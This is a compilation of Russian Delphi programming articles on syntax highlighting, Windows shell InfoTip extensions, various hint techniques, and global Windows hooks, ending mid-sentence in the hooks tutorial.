        dec(BCount);
      end;
      RichEdit1.SelStart := WEnd - (WEnd - WStart);
      RichEdit1.SelLength := WEnd - WStart;
      if CheckList(RichEdit1.SelText) then
        RichEdit1.SelAttributes.Style := [fsBold]
      else RichEdit1.SelAttributes.Style := [];
      RichEdit1.SelStart := WEnd;
      RichEdit1.SelAttributes.Style := [];
    end;
  end;
end;
function SearchFor(WorkSpace, Search: string; Start: integer): integer;
var Temp: string;
begin
  Temp := copy(WorkSpace, Start, length(WorkSpace));
  Result := pos(Search, Temp);
end;
procedure TForm1.HighLight;
var WStart, WEnd, WEnd2: integer;
  WorkSpace, SWord: string;
begin
  WStart  :=  1;
  WEnd  :=  1;
  with  RichEdit1 do
  begin
    WorkSpace  :=  Text + ' ' + #$D#$A;
    while WEnd > 0 do
    begin
      WEnd := SearchFor(WorkSpace, ' ', WStart);
      WEnd2 := SearchFor(WorkSpace, #$A, WStart);
      if WEnd2 < WEnd then WEnd := WEnd2;
      SWord := copy(WorkSpace, WStart, WEnd - 1);
      if (SWord <> ' ') and (SWord <>'') then
        if CheckList(SWord) then
        begin
          SelStart  := WStart - 1;
          SelLength := length(SWord);
          SelAttributes.Style := [fsBOLD];
          SelStart := WStart + length(SWord) + 1;
          SelAttributes.Style := [];
        end;
      WStart := WStart + WEnd;
    end;
    SelStart := length(Text);
    SetFocus;
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);
    HighLight;
  end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  RichEdit1.PasteFromClipboard;
  HighLight;
end;
end.

Компонент для подсветки синтаксиса.

Автор: Vit WEB-сайт: http://forum.vingrad.ru Результат совместной работы Fаnаsist'а и меня. Это компонент для Дельфи для известного пакета SynEdit (http://synedit.sourceforge.net), позволяющий на лету создавать подкраску синтаксиса по любым правилам любых форматов (создание и загрузка в run-time, хранение шаблонов на диске). В настоящее время пакет включает в себя более 300 готовых шаблонов для наиболее распространённых форматов, но каждый может создать свой собственный шаблон (можно с помошью компонента или используя прилагающуюся утилиту). Пример использования - простенький текстовый редактор с поддержкой любых расскрасок. Загрузить можно с: http://chicago.lastplanet.com/unihighlighter.zip Платформа: Delphi 5/6 Для работы необходимо установить предварительно установить пакет SynEdit: http://synedit.sourceforge.net Компонент свободен для распространения и поставляется с исходными кодами. Логика работы: Для подкраски синтаксиса необходимо предусмотреть следующие правила: 1) расскраска всего кода в промежутке от одного слова до второго - например комментарии /*...*/ или строки "...." 2) расскраска ключевых слов Это реализовано, кроме того бывают ситуации когда промежуток должен быть расскрашен по другому с другими правилами например ASP код внутри HTML или ассемблерные вставки внутри Дельфи - это тоже реализовано тем что внутри промежутка можно использовать свои правила и промежутки. Вложенность не лимитирована. Всем кому интересно, я создал форум для обсуждения компонента, правда сообщения писать только на английском, там уже идёт дисскуссия с авторами проекта SynEdit:

http://www.delphist.com/forum/

Расширения оболочки Windows - Всплывающие подсказки.

С каждой новой версией Windows, её оболочка (shell) приобретает всё больше и больше различных возможностей. Обычно эти возможности добавляются через расширения оболочки, которые позволяют разработчикам добавлять различные возможности в существующую оболочку Windows. Вот некоторые примеры расширений оболочки: Context Menus (меню, зависящее от объекта, на котором кликнули правой кнопкой мыши), Property Sheet Handlers (страницы в виде закладок, которые появляются в случае выбора пункта контексного меню Properties), Folder Customization, и т.д.

На сайте Microsoft доступно большое количество информации о расширениях оболочки, но эта информация мало полезна Delphi аудитории. Итак давайте рассмотрим расширение оболочки под названием "Всплывающие подсказки" (InfoTip), которые появляются в эксплорере, при наведении мышкой на файл.

Расширения оболочки – Краткий обзор

Расширения оболочки существуют в виде In Process COM серверов. В ответ на определённые события оболочки проводник вызывает соответствующее расширение. Проводник очень специфически реагирует на различные функции в пределах оболочки. Первое, что делает Проводник - это проверяет модули, которые были зарегистрированы для определённого события и, если таковой существует, то загружает данный модуль.

Чтобы быть расширением оболочки, COM сервер должен включать в себя интерфейс, который определяет специфическое поведение для данного расширения, а так же он должен включать в себя интефейс инициализации. Наконец, чтобы быть расширением оболочки, COM сервер должен следовать определённым в системе методам регистрации.

Следующая таблица представляет собой список всех существующих на сегодняшний день расширений оболочки, а так же их минимальных версий, учавствующих интерфейсов и их описаний:

ТипДобавлено вВерсияИспользуемые интерфейсыОписание
Context Menu File class and shell’s object Windows 95+ IContextMenu, IContextMenu2, или IContextMenu3 Позволяет добавлять новые пункты в контекстное меню объекта оболочки.
Right Drag and Drop File class and shell’s object Windows 95+ IContextMenu, IContextMenu2, или IContextMenu3 Позволяет добавлять новые пункты в контекстное меню, при перетаскивании правой кнопкой мыши и отпускании файлов.
Drawing Shell Icons File class and shell’s object Windows 95+ IExtractIcon Позволяет решить в данный момент, какая будет отображаться иконка для данного файла.
Property Sheet File class and shell’s object Windows 95+ IShellPropSheetExt Позволяет добавлять дополнительные страницы property sheet в диалог свойств файла. Так же это работает для Панели управления.
Left Drag and Drop File class and shell’s object Windows 95+ IDropTarget Позволяет решать - что делать с перетаскиваемым объектом (используя левую кнопку мыши) на другой объект в оболочке.
Clipboard File class and shell’s object Windows 95+ IDataObject Позволяет Вам определить, как объект скопирован и извлечён из буфера обмена.
File Hook Windows 95+ ICopyHook Позволяет контролировать некоторые файловые операции, которые происходят черех оболочку. Вы можете разрешить или запретить их, но Вы не сможете получать уведомление об успешности операции или об ошибке.
Program Execution Explorer Desktop Update IShellExecuteHook Позволяет перехватывать некоторые выполнения программ, которые происходят через оболочку.
Infotip File class and shell’s object Desktop Update IQueryInfo Позволяет отображать короткие текстовые сообщения, когда курсор мышки находится на определённом файле.
Column Folders Windows 2000 IColumnProvider Позволяет добавлять новую колонку в режиме отображения Details в Проводнике.
Icon Overlay Explorer Windows 2000 IShellIconOverlay Позволяет определить собственные изображения, которые будут использоваться как иконки.
Search Explorer Windows 2000 IContextMenu Позволяет добавить новую ячейку в меню "Найти" (в меню, открывающемся при нажатии на "Пуск").
Cleanup Cleanup Manager Windows 2000 IEmptyVolumeCache2 Позволяет добавить новую ячейку в Менеджер Очистки для восстановления дискового пространства.

Всплывающие подсказки – Введение и обзор

Infotip-ы это всплывающие окна подсказки, которые появляются в случае, если курсор мышки находится над любым файлом. Если расширения для файла не было зарегистрировано, то будет высвечиваться окошко с подсказкой по умолчанию, однако Вы можете создать своё собственно расширение для отображения информации об определённом типе файла. Например, Office 2000 инсталирует обработчики для MS Word и MS Excel, которые отображают Имя, Автора и заголовок из свойств документа. Расширения Infotip отличаются от других расширений оболочки по регистрации. Об этом мы поговорим позже, когда перейдём к регистрации нашего расширения Infotip.

Implementing Infotip Extensions

Расширение Infotip является In-Process (Inproc) COM Server. Это значит, что Infotip является обыкновенной Windows DLL, которая экспортирует необходимые методы, чтобы быть как обыкновенным элементом управления ActiveX. Расширение Infotip так же включает IQueryInfo и IPersistFile и должна самостоятельно регистрировать себя в реестре. В виду того, что IQueryInfo и IPersistFile являются интерфейсами, то они не содержат исходного кода своих методов. Поэтому наш объект включает в себя каждый метод, определённый в обоих интерфейсах; однако, некоторые из методов не являются необходимыми для нашего расширения Infotip, поэтому мы просто возвращаем E_NOTIMPL, чтобы показать, что они не осуществимы.

IQueryInfo обеспечивает отображение текста во всплывающем окошке и содержит два метода: GetInfoFlags – Получает информационные флаги. На текущий момент это метод не используется, поэтому возвращаем E_NOTIMPL. GetInfoTip – Получает текст Infotip-а.

GetInfoTip определена следующим образом:

function GetInfoTip(dwFlags: DWORD; var ppwszTip: PWideChar): HResult; stdcall;
dwFlags в данный момент не используется ppwszTip Адрес указателя на строку Unicode, кото string pointer that receives the tip string pointer.

Важное замечание Параметр ppwszTip метода GetInfoTip - это указатель на строковый буфер Unicode, который содержит текст, отображаемый в всплывающем информационном поле. Этот буфер должен быть распределен, используя стандартную программу распределения памяти оболочки, потому что буфер распределен нашим приложением, но освобожден оболочкой. Чтобы быть уверенным, что всё пройдёт успешно, используйте SHGetMalloc для получения указателя на программу распределения памяти оболочки - объект IMalloc. Затем используйте метод Alloc из IMalloc-а для распределения необходимой памяти для буфера содержащего Unicode представление текста Infotip.

Исходник содержит стандартный код, который Вы можете использовать для всех расширений Infotip, которые Вы создадите.

IPersistFile это то, при помощи чего оболочка обеспечивает расширение информацией о файле, на котором находится курсор. В интерфейсе определены пять методов:

IsDirty проверяет объект на предмет изменений, сделанных в текущем файле. Наше расширение не требует данного метода, поэтому возвращаем E_NOTIMPL. Load открывает указанный файл и инициализирует объект из содержимого файла. Мы будем использовать этот метод для получения имени файла, на котором находится курсор. Save сохраняет объект в указанном файле. Мы его не используем и возвращаем E_NOTIMPL. SaveCompleted уведомляет объект, о том, что он может быть переведён из режима NoScribble в режим Normal. Не используем, поэтому возвращаем E_NOTIMPL. GetCurFile получает текущее имя файла, связанного с объектом. Тоже возвращаем E_NOTIMPL.

Load определена следующим образом:

function Load(pszFileName: PoleStr; dwMode: LongInt): HResult; stdcall;
pszFileName указатель на строку, содержащую абсолютный путь открываемого файла. Строка должна завершаться нулём. dwMode содержит набор атрибутов для открытия файла.

Чтобы получить имя файла и его путь, мы будем использовать только IPersistFile; фактически мы не используем интерфейс для доступа к файлу, поэтому игнорируем флаги. Стандартная реализация метода Load сохраняет содержимое pszFileName в приватную переменную, которая будет использоваться в IQueryInfo::GetInfoTip для расположения файла.

Регистрация расширения Infotip

Регистрация происходит в два этапа:

При помощи regsvr32.exe регистрируется COM DLL (Пуск (Start)..Выполнить(Run))
regsvr32 "C:\...\DPRInfoTip.dll"
Добавление ссылки на расширение (.dpr) в ключ реестра HKEY_CLASSES_ROOT.

По умолчанию значение для нового ключа должно быть CLSID объекта COM, который содержит расширение оболочки. Данное значение можно получить из файла Type Library, который был сгенерирован Delphi (имя файла оканчивается на "_TLB.pas"). Для нашего примера расширения CLSID назван CLASS_DPRInfoTip и содержит значение "{B20433A8-D083-11D4-993A-00D00912C440}".

Самый простой способ внести изменения в реестр - это сделать копию файла .REG, содержащуюся в исходниках проекта. Просто измените CLSID и расширение файла на необходимые значения.

Одно важное замечание: Если Вы регистрируете расширение оболочки в Windows NT или 2000, то необходимо войти в систему с правами администратора.

Как показать подсказки Hints для элементов меню.

В примере создается обработчик события Application.Hint - подсказки меню изображаются на status Panel:

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    MainMenu1: TMainMenu;
    MenuItemFile: TMenuItem;
    MenuItemOpen: TMenuItem;
    MenuItemClose: TMenuItem;
    OpenDialog1: TOpenDialog;
    procedure FormCreate(Sender: TObject);
    procedure MenuItemCloseClick(Sender: TObject);
    procedure MenuItemOpenClick(Sender: TObject);
  private
    {Private declarations}
    procedure HintHandler(Sender: TObject);
  public
    {Public declarations}
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
  Panel1.Align := alBottom;
  MenuItemFile.Hint := 'File Menu';
  MenuItemOpen.Hint := 'Opens A File';
  MenuItemClose.Hint := 'Closes the Application';
  Application.OnHint := HintHandler;
end;
procedure TForm1.HintHandler(Sender: TObject);
begin
  Panel1.Caption := Application.Hint;
end;
procedure TForm1.MenuItemCloseClick(Sender: TObject);
begin
  Application.Terminate;
end;
procedure TForm1.MenuItemOpenClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Form1.Caption := OpenDialog1.FileName;
end;

Выводим подсказки на TStatusBar.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

private
   procedure MyHint(Sender: TObject);
 end;
    implementation
  {....}
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnHint := MyHint;
   ShowHint           := True;
   Button1.Hint       := 'normal yellow hint|Text in Statusbar';
   Button2.Hint       := 'only yellow hint|';
   Button3.Hint       := '|text only in statusbar';
   Edit1.Hint         := 'same text';
 end;
 procedure TForm1.MyHint(Sender: TObject);
 begin
   StatusBar1.SimpleText := Application.Hint;
 end;

Использование всплывающих подсказок HINTS.

Оформил: DeeCo

Автор: Serzs.

1.Отображение полных строк списка при перемещении мыши по списку 2.Свои собственные hint-ы для генерации сообщений об ошибках от конкретных компонент на форме 1.Отображение полных строк списка при перемещении мыши по списку Предположим, у нас есть список строк, причем все строки или некоторые не влазят по ширине. Пользоваться прокруткой не всегда удобно. Возможно использование другого варианта. Мышкой проводим по списку и, если строка не влазит по ширине, то появляется Hint, содержащий текущую строку целиком, причем прямо поверх самой строки! Идея подходит ? Тогда это можно реализовать, например, так ... Текст формы примера :
object MainForm: TMainForm
  Left = 7
    Top = 121
    Width = 200
    Height = 157
    Hint = '34534535'
    Caption = 'Long hints'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ShowHint = True
    OnCreate = FormCreate
    PixelsPerInch = 120
    TextHeight = 16
    object ListBox1: TListBox
    Left = 12
      Top = 12
      Width = 165
      Height = 97
      Hint = '1|2'
      ItemHeight = 16
      Items.Strings = (
      '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'A1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      '1234567890'
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'ABCD')
      ParentShowHint = False
      ShowHint = True
      TabOrder = 0
      OnMouseMove = ListBox1MouseMove
  end
end
Текст модуля :
unit Main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TMainForm = class(TForm)
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
    FHintRow: Integer; // Номер строки в списке, на которую указывает мышь
  public
    { Public declarations }
    // Обработчик подсказок
    procedure OnShowHint(var HintStr: string;
      var CanShow: Boolean;
      var HintInfo: THintInfo);
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
  FHintRow := -1;
  Application.OnShowHint := OnShowHint; // Установка обработчика
end;
procedure TMainForm.OnShowHint(var HintStr: string;
  var CanShow: Boolean;
  var HintInfo: THintInfo);
var
  Pos: TPoint;
begin
  with HintInfo do
    if HintControl is TListBox then // Проверка на нужный объект
      with HintControl as TListBox do
      begin
        Pos.X := 0;
        Pos.Y := ListBox1.Tag;
        HintPos := ListBox1.ClientToScreen(Pos);
        HintStr := ListBox1.Hint;
      end;
end;
procedure TMainForm.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  MousePos: TPoint;
  ItemPos: TRect;
  RowWidth,
    ItemNum: Integer;
  FHint: string;
begin
  MousePos.X := X;
  MousePos.Y := Y;
  ItemNum := ListBox1.ItemAtPos(MousePos, True);
    // Определение номера строки в списке
  if (ItemNum <> FHintRow) then // Проверка на перемещение мыши на другую строку
  begin
    FHintRow := ItemNum;
    if ItemNum <> -1 then // Проверка на наличие элементов в списке
    begin
      ItemPos := ListBox1.ItemRect(ItemNum);
      Application.CancelHint; // Снять текущую подсказку
      ListBox1.Tag := ItemPos.Top; // Запоминаем позицию строки по вертикали
      FHint := ListBox1.Items[ItemNum];
      // Проверка на ширину строки
      RowWidth := ListBox1.Canvas.TextWidth(FHint);
      if (RowWidth > ListBox1.ClientWidth) then
        FHint := FHint + '|'
      else
        FHint := '';
      ListBox1.Hint := FHint;
    end
    else
    begin
      ListBox1.Hint := '';
      Application.CancelHint;
      ListBox1.Tag := -1;
    end;
  end
end;
end.
Текст проекта :
program PrjHint;
uses
  Forms,
  Main in 'Main.pas' {MainForm};
{$R *.RES}
begin
  Application.Initialize;
  Application.CreateForm(TMainForm, MainForm);
  Application.ShowHint := True;
  Application.HintPause := 100;
  Application.HintHidePause := 999999;
  Application.Run;
end.

Автор: Сергей Королев.

2.Свои собственные hint-ы для генерации сообщений об ошибках от конкретных компонент на форме. Download Hint.zip Файл Hint.pas содержит несколько функций, реализующих создание собственных "подсказок" типа Hint-ов. Использовать их очень удобно в качестве конкретного сообщения об ошибке с указанием какой именно компонент на форме и вызвал эту ошибку. Hint-ы выводятся белым на красном фоне и позиционируются возле указанного компонента
procedure ShowErrorHintEx(AControl: TWinControl; const Hint: string);
AControl - компонент, к которому "подвешивается" hint
  Hint - выводимый текст

Hint в выпадающем списке ComboBox.

Чем компьютер похож на мужчину? 1. Считает себя умным, но не может обойтись без мамы; 2. Ткнешь пальцем - он и заведется; 3. Требует множества игрушек и примочек; 4. Всегда мечтает попасть в сети; 5. У него все падает с завидной периодичностью; 6. К нему лучше не подходить сзади; 7. Так и норовит задать дурацкий вопрос; 8. Любит, чтобы с него сдували пылинки и промывали спиртом; 9. Не выносит резких перепадов напряжения; 10. Сначала зависает, а потом вырубается; 11. Жалуется на нехватку памяти, хотя на самом деле недостает мозгов; 12. Бурчит, когда его грузят; 13. Сам ничего не может: все зависит от того, кто им пользуется; 14. Когда надоедает приводить в порядок, наконец понимаешь - себе дешевле обзавестись новым.
В практике программирования довольно часто встречается ситуация когда информация, предназначенная для отображения в имеющемся компоненте, не помещается по длине. С подобным обычно сталкиваются в работе с базами данных. В таких случая выручают всплывающие подсказки – Hint. Но, в некоторых случаях, даже такая возможность не спасает. К таким ситуациям можно отнести работу с выпадающим списком в DBComboBox. Представьте, что размер поля увеличился, а изменить ширину DBComboBox на форме, по тем или иным причинам, нет возможности. Конечно, можно увеличить ширину выпадающего списка. Но выглядит это не всегда красиво да и не делает чести разработчику. Предлагаемая идея позволит создать более изящный компонент. Взгляните на рисунок: В демонстрационном примере в выпадающем списке появляется всплывающая подсказка для строки не помещающейся по длине. При работе с Hint нужно помнить – использовать ToolTip из API, бесполезная затея. Delphi игнорирует любые попытки работы ним. Для этих целей в Delphi предусмотрен класс – THintWindow.

В своем компоненте объявите FTipHint:

type
TVSComboBox = class(TCustomComboBox)
…
private
FHint: THintWindow;
…
protected
procedure WMCTLCOLORLISTBOX(var Message: TMessage);
message WM_CTLCOLORLISTBOX;

И не забудьте выполнить инициализацию в конструкторе вашего компонента:

begin
inherited Create(AOwner);
FHint := THintWindow.Create(Self);

Чтобы получить информацию об активной строке в выпадающем списке ComboBox перехватите сообщение WM_CTLCOLORLISTBOX. В процедуре сообщения анализируйте - если длина строки больше ширины выпадающего списка – передайте "длинную" строку в ваш Hint и активируйте его:

FHint.ActivateHint(TextRC, Items[ItemIndex]);
где TextRC – прямоугольник для строки подсказки Items[ItemIndex] – "длинная" строка из выпадающего списка

Если активная строка в выпадающем списке "короткая" – спрячьте Hint:

FHint.ReleaseHandle;

Для получения подробной информации о классе THintWindow воспользуйтесь Help из Delphi.

Как вывести Hint для ячейки DBGrid.

Статьи по Delphi (009)…

Создайте на форме DataSource1, Table1, DataSource2, Table2, DBGrid1. Table1 и Table2 свяжите со своей базой данных. DataSource1 и DataSource2 свяжите соответственно с Table1 и Table2. DBGrid1 свяжите с DataSource1 Table2 и DataSource2 нужны для доступа к какой-нибудь ячейке. Другой способ без их использования: при отрисовке значений ячеек (соответствующее событие), необходимо запомнить значения всех ячеек, находящихся на экране и производить выбор среди них.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, Grids, DBGrids, Db, DBTables;
type
  TForm1 = class(TForm)
    DataSource1: TDataSource;
    Table1: TTable;
    DBGrid1: TDBGrid;
    Table2: TTable;
    DataSource2: TDataSource;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    procedure AppMess(var Msg: TMsg; var Handled: Boolean);
  public
    { Public declarations }
end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.AppMess(var Msg: TMsg; var Handled: Boolean);
var
  X, Y: integer;
  gpt: TGridCoord;
  s: string;
  w, len: integer;
begin
  if Msg.message=WM_MOUSEMOVE then
  begin
    if Msg.hwnd=DBGrid1.Handle then
    begin
      x:=LoWord(Msg.lParam);
      y:=HiWord(Msg.lParam);
      gpt:=DBGrid1.MouseCoord(x,y);
      {получить строку и солбец, в которых находится курсор}
      if (gpt.x>0) and (gpt.y>0) then
      begin
        DataSource2.DataSet.First;
        DataSource2.DataSet.MoveBy(gpt.y-1);
        s:=Table2.Fields[gpt.x-1].asString;
        w:=DBGrid1.Columns[gpt.x-1].Width;
        {получить ширину столбца}
        len:=DBGrid1.Canvas.TextWidth(s);
        {получить длину строки в пикселах}
        if len > w then
          DBGrid1.Hint:=s;
        else
          DBGrid1.Hint:='';
      end;
    end;
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin 
  DBGrid1.ShowHint := True;
  Application.OnMessage := AppMess;
end;
end.

Функция, которая работает быстрее чем HiWord.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

The HiWord function retrieves the high-order word from the given 32-bit value. Instead of using HiWord(var32) use: Word(var32 shr 16) this is over 60% faster then calling HiWord() function. Don't make procedure or function out of it (you'll kill the speed). You could use Word(var32) over LoWord(var32) but it''s less then 1% faster. ******** Die HiWord Funktion extrahiert die das hцhегwегtigе Wort (Word) von einem gegebenen 32-bit Wert. Anstelle von HiWord(var32) Verwende: Word((var32 shr 16) Dies ist ььег 60% schneller als die HiWord() Funktion Man кцnntе auch Word((var32) anstatt LoWord((var32) aber dies ist weniger als 1% schneller.

Hooks - аспекты реализации.

Автор: Алексей Павлов
- Почему книги Б. Гейтса выходят в двух томах? - Второй том - раtсh к первому...

Моя обзорная статья на тему вариантов использования динамически компонуемых библиотек (DLL) вызвала множество вопросов, большая часть которых касалась использования глобальных ловушек (Hook) и размещению разного рода ресурсов в DLL. О ресурсах поговорим в следующий раз, а пока попробуем разобраться с ловушками.

Скачать проект: Hooks.zip (76 K).

Сразу хочу сделать несколько оговорок: речь в дальнейшем пойдёт только о 32-х разрядной Windows и о глобальных ловушках, т.к. именно при их программировании возникает большинство ошибок; все примеры будут даваться на Delphi, т.к. примеров и описаний для любителей С++ достаточно.

Давайте сначала разберёмся почему, иногда, даже опытные программисты допускают ошибки при написании глобальных ловушек. Первая, и самая распространённая причина: многие программисты, перейдя от 16-ти разрядной к 32-х разрядной Windows, порой забывают об изолированности адресных пространств процессов, такая забывчивость прощается при написании локальных ловушек, в случае с глобальными она может стать фатальной (подробнее об этом рассказано дальше в статье). Второй причиной является то, что в SDK (да и в MSDN тоже) даётся недостаточно информации по данной тематике, а та что есть часто трактуется неверно. Третья причина… хотя, думаю, стоит остановиться пока на этом.

Дальнейшее повествование предполагает, что читатель знаком с основными принципами работы с DLL и хотя бы в общих чертах представляет механизм их написания.

Что же происходит в системе когда мы "ставим" ловушку и что это вообще такое - ловушка ?

Ловушка (hook) - это механизм Windows, позволяющий перехватывать события, предназначенные некоторому приложению, до того как эти события до этого приложения дойдут.

Функции-фильтры - это функции, получающие уведомления о произошедшем событии от ловушки.

В зависимости от типа ловушки функции-фильтры могут изменять события, отменять их или просто реагировать на них. Таким образом, когда мы говорим "установил ловушку" мы подразумеваем процесс прикрепления функции-фильтра к выбранному нами типу ловушки. Итак, когда мы в своей программе используем функцию SetWindowsHookEx мы прикрепляем функцию-фильтр, указатель на которую мы и передаём вторым параметром, пример:

SetWindowsHookEx(WH_SHELL, @ShellHook, HInstance, 0);
в данном случае ShellHook - это и есть функция-фильтр. В дальнейшем, под словосочетанием "установили ловушку" будем понимать присоединение функции-фильтра к ловушке. Статьи по Delphi (009)…

Что же происходит после того, как мы установили глобальную ловушку ? Понимание следующего параграфа является ключом для понимания механизма работы ловушек Windows, располагающихся в DLL. Если вы не поймёте его, вернитесь и перечитайте заново и так до тех пор, пока всё не станет ясным.

Наш Process1 устанавливает глобальную ловушку из DLL находящейся в адресном пространстве (АП) нашего процесса (Process1). DLL, находящаяся в АП процесса1 имеет свои данные. Когда система посылает событие, на которое мы установили ловушку, в Process2, то в Process2 отображается код DLL, находящийся в первом процессе (Dll code), НО НЕ ДАННЫЕ ! Все данные, только что отображённой в Process2 DLL, инициализируются заново (т.е. равны 0, nil, False в зависимости от типа). То есть, Process2 знать не знает о существовании Process1, и всё что в нём находится никак не относится к АП первого процесса, из которого произошло отображение кода DLL. В библиотеки, находящиеся не в АП вашего процесса, можно посылать только процессо-независимые данные, такие как, к примеру, дескрипторы окон (под термином "посылка" в данном случае подразумевается использование функций PostMessage() и SendMessage()). Статьи по Delphi (009)…

Если выше прочитанное вам понятно, то продолжим наш разговор и рассмотрим, что происходит, когда мы устанавливаем вторую ловушку такого же типа, что и первая. При установке в системе двух одинаковых ловушек Windows выстраивает их в цепочку. Когда система посылает сообщение, на которое мы установили ловушки, то первой срабатывает последняя ловушка в цепочке, т.е. hook.

О том, что бы сообщение дошло до n-1 ловушки (hook n-1) должен позаботится сам программист. Вот на этом-то этапе очень часто возникают ошибки.

Для вызова следующей ловушки в цепочке ловушек в Windows используется функция CallNextHookEx, первым параметром которой является дескриптор текущей ловушки, получаемый функцией SetWindowsHookEx. Теперь внимание: мы установили ловушку в Process1, т.е. функция SetWindowsHookEx выполнялась в DLL, находящейся в АП Process1 и, соответственно, дескриптор установленной ловушки возвращаемый функцией SetWindowsHookEx принадлежит данным DLL, находящимся в АП Process1. Пусть в Process2 возникает событие на которое поставлена ловушка, тогда Dll из первого процесса проецируется на АП Process2, а данные DLL в Process2 инициализируются заново, и получается, что в Process2 в переменной, в которой "лежал" дескриптор поставленной ловушки в Process1, будет равен 0. Функция-фильтр Process2, отработав, должна будет передать сообщение дальше по цепочке ловушек, т.е. выполнить функцию CallNextHookEx, первым параметром которой должен быть дескриптор текущей ловушки, но в данных DLL, находящейся в Process2 нет этого дескриптора (переменная, которая должна содержать его содержит ноль). "Как же быть в таком случае ? Как же нам узнать дескриптор ловушки, поставленной в другом процессе, если сами процессы ничего не знают друг о друге ?" - спросите вы. На этот вопрос я отвечу чуть позже, а пока давайте поверхностно пробежимся по типам ловушек, хотя информация о типах полностью приведена в SDK.

Как мы уже знаем, ловушка устанавливается с помощью Win32 API функции SetWindowsHookEx():

function SetWindowsHookEx(idHook: integer; lpfn: TFNHookProc;
hmod: HINST; dwThreadID: DWORD): HHOOK; stdcall;

IdHook: описывает тип устанавливаемой ловушки. Данный параметр может принимать одно из следующих значений:

КонстантаОписание
WH_CALLWNDPROC Фильтр процедуры окна. Функция-фильтр ловушки вызывается, когда процедуре окна посылается сообщение. Windows вызывает этот хук при каждом вызове функции SendMessage.
WH_CALLWNDPROCRET Функция-фильтр, контролирующая сообщения после их обработки процедурой окна приемника.
WH_CBT В литературе встречаются следующие названия для этого типа фильтров: "тренировочный" или "обучающий". Данная ловушка вызывается перед обработкой большинства сообщений окон, мыши и клавиатуры.
WH_DEBUG Функция-фильтр, предназначенная для отладки. Функция-фильтр ловушки вызывается перед любой другой ловушкой Windows. Удобный инструмент для отладки и контроля ловушек.
WH_GETMESSAGE Функция-фильтр обработки сообщений. Функция-фильтр ловушки вызывается всегда, когда из очереди приложения считывается любое сообщение.
WH_HARDWARE Функция-фильтр, обрабатывающая сообщения оборудования. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение оборудования.
WH_JOURNALPLAYBACK Функция-фильтр вызывается, когда из очереди системы считывается любое сообщение. Используется для вставки в очередь системных событий.
WH_JOURNALRECORD Функция-фильтр вызывается, когда из очереди системы запрашивается какое-либо событие. Используется для регистрации системных событий.
WH_KEYBOARD Функция-фильтр "обработки" клавиатуры. Наверное, наиболее часто используемый тип ловушки. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщения wm_KeyDown или wm_KeyUp.
WH_KEYBOARD_LL Низкоуровневый фильтр клавиатуры.
WH_MOUSE Функция-фильтр, обрабатывающая сообщения мыши. Функция-фильтр ловушки вызывается, когда из очереди приложения считывается сообщение мыши.
WH_MOUSE_LL Низкоуровневый фильтр мыши.
WH_MSGFILTER Функция-фильтр специального сообщения. Функция-фильтр ловушки вызывается, когда сообщение должно быть обработано диалоговым окном приложения, меню или окном приложения.
WH_SHELL Фильтр приложения оболочки. Функция-фильтр ловушки вызывается, когда создаются и разрушаются окна верхнего уровня или когда приложению-оболочке требуется стать активным.

Что бы упредить шквал писем в мой адрес, скажу сразу, что каждый, из вышеперечисленных, типов имеет свои особенности, о которых каждый может прочитать в SDK, MSDN или же найти их описание в Internet-e.

Lpfn : это адрес функции-фильтра, которая является функцией обратного вызова. Функция-фильтр имеет тип TFNHookProc, определение которого выглядит следующим образом:

TFNHookProc = function (code: Integer; wparam: WPARAM;
lparam: LPARAM): LRESULT stdcall;

Значение каждого из параметров функции-фильтра ловушки изменяется в зависимости от типа устанавливаемой ловушки. За более подробными разъяснениями значений параметров обращайтесь к справке по Win32 API.

hmod данный параметр должен иметь значение hInstance в EXE или DLL-файлах, в которых содержится функция-фильтр ловушки (напомню, что это функция обратного вызова). Если речь идёт о глобальных ловушках, то данный параметр может принимать только дескриптор DLL, из которой устанавливается ловушка. Причина очевидна - EXE-файл не может быть отображён на АП другого процесса, тогда как DLL-фалы специально созданы для этого. Подчеркну это обстоятельство ещё раз: глобальные ловушки могут располагаться только в DLL, но никак не в EXE файлах ! dwThreadID данный параметр идентифицирует поток, с которым будет связана ловушка. Мы ведём речь о глобальных ловушках, поэтому данный параметр будет всегда равен 0, что означает, что ловушка будет связана со всеми потоками в системе. Возвращаемое значение функция SetWindowsHookEx возвращает дескриптор установленной ловушки, именно этот дескриптор нам и надо будет сделать доступным ВСЕМ экземплярам отображаемой DLL. Как это сделать я расскажу после небольшого примера, показывающего на практике необходимость сохранять дескриптор ловушки для того, что бы суметь вызвать предыдущую ловушку в цепочке. Замечание: при установке двух ловушек разного типа, система создаст две цепочки ловушек. Т.е. каждому типу ловушки соответствует своя цепочка. Так при установке ловушки типа WH_MOUSE и WH_KEYBOARD обе эти ловушки будут находиться в разных цепочках и, соответственно, будут 